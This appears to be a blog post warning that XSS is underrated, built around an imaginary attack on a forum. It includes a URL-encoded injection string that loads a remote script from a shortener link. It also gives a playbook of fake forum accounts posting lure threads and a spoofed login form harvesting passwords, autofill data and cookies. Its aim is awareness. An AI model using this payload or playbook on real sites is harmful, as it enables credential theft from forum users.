There’s no practical difference from the average user’s point-of-view whether the security issue has been only a minor XSS vulnerability or the whole database has been taken. They’re not interested in technical details or excuses about severity of the impact, at least not right after the incident.

An imaginary example of XSS vulnerability

This example demonstrates the situation which could occur when a website suffers from XSS vulnerability.

The setup

We’ve found a XSS vulnerability from a very popular discussion forum. All of the query string parameters aren’t validated correctly and injection can be made via URL: http://www.foobarforum.com/?threadID=42%27%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e.

The injection string is mainly encoded in UTF-8 format. We could make URL even shorter by encoding only the part of the string. Or alternatively we could use URL shortener service.

The preparation

So, we have created a discussion thread we’re referring to. We have also written a script that will do the “magic” for the injected page.

Earlier, we’ve created user accounts to other popular discussion forums and written few messages in order to make these profiles more reliable.

Now it’s the time to write harmless discussion threads to other forums, which are referring to the forum with vulnerability:

An image about the discussion thread referring to the injected page.

These messages are written outside normal working hours, while discussion forums are still very active. In other words, we’re having many users seeing these messages while the reaction time of the exploited website is likely to be longer.

The messages should be alluring yet convincing enough. Our advantage is that most discussion forums have been created around certain general topics (like technology, music, family etc), which makes it easier to compose tempting messages.

The most obvious problem is that sooner or later one of the users will realize that referring link contains a XSS string, and he’ll immediately report about it. However, the link is spread on many discussion forums and the show isn’t over until there are reactions on the vulnerable website.

The action

In this case, we’re interested in getting user accounts. Thus, we have to have a story which encourages users either to log in or to register through the injected page. Additionally, we have to take care that users are staying in the injected page:

Image of an injected page where user is encouraged to fill his private information

We’ve modified inner content of the page while leaving the basic layout and structure as it should be – exluding the login form (1). According to the story, user must log in order to see the content. We’re offering our own login form (2) to encourage visitor to actually log in.

Neither of the forms actually logs in. We just wait a little and then we display an error message claiming either username or password was incorrectly entered.

There’s also a possibility that the visitor is already a registered user, using automatic pre-fill made by the browser. In this case it’s possible for us to collect the user data directly.

We’re also offering a registration link (3), which would dynamically open a registration dialog. And we would do the same with link “Forgot your password?”(4).

Many users have (or should have) several passwords for different websites. It’s possible that user gets frustrated when his login fails and he tries with a different user name or password (I have to admit I do this very often). It’s not illogical to assume that the user name could be e-mail instead of nickname or you’ve recently changed your password to another password you tend to use.

When user requests a new password, a personal question might be asked. This offers yet another possibility to collect private information about the user.

And if we’re not still happy, there are cookie data, perhaps session or website specific, client-side variables and other information we can collect for later use.

The outcome

Even if we wouldn’t receive any sensitive information about users who visited the injected page, the harm is already done. Least (or the right thing) the website administrator could do, is to inform all the users about the incident and recommend them to change their passwords – preferably in every website they’re using the same password.

Conclusion

Like I earlier said, the amount of XSS vulnerabilities is huge and they’re spotted both in small and large websites. To support my point-of-view, I did spend some time to see the “tip of the iceberg” by going through the most popular websites in Finland.

I’m confident to finish my article with a conclusion that either the attitude towards XSS vulnerabilites is too slight or alternatively developers aren’t fully aware about XSS as a security threat.

Exploitation of XSS vulnerabilities requires some creativity and imagination – “it’s not the story itself, it’s all about how it’s been told”. When the ultimate goal is to cause harm with XSS, it’s never too hard to generate the story.

External resources

(This post is in Finnish) olemme järjestämässä pienimuotoista, JavaScript-aiheista tapahtumaa Helsingissä, 15. syyskuuta 17:30-21:00. http://www.frontendfinland.org/ Tapahtumaan ilmoittautuminen alkaa tänään perjantaina 6. elokuuta klo 14:00. Ilmoittautumiset osoitteeseen info (a) frontendfinland (dot) org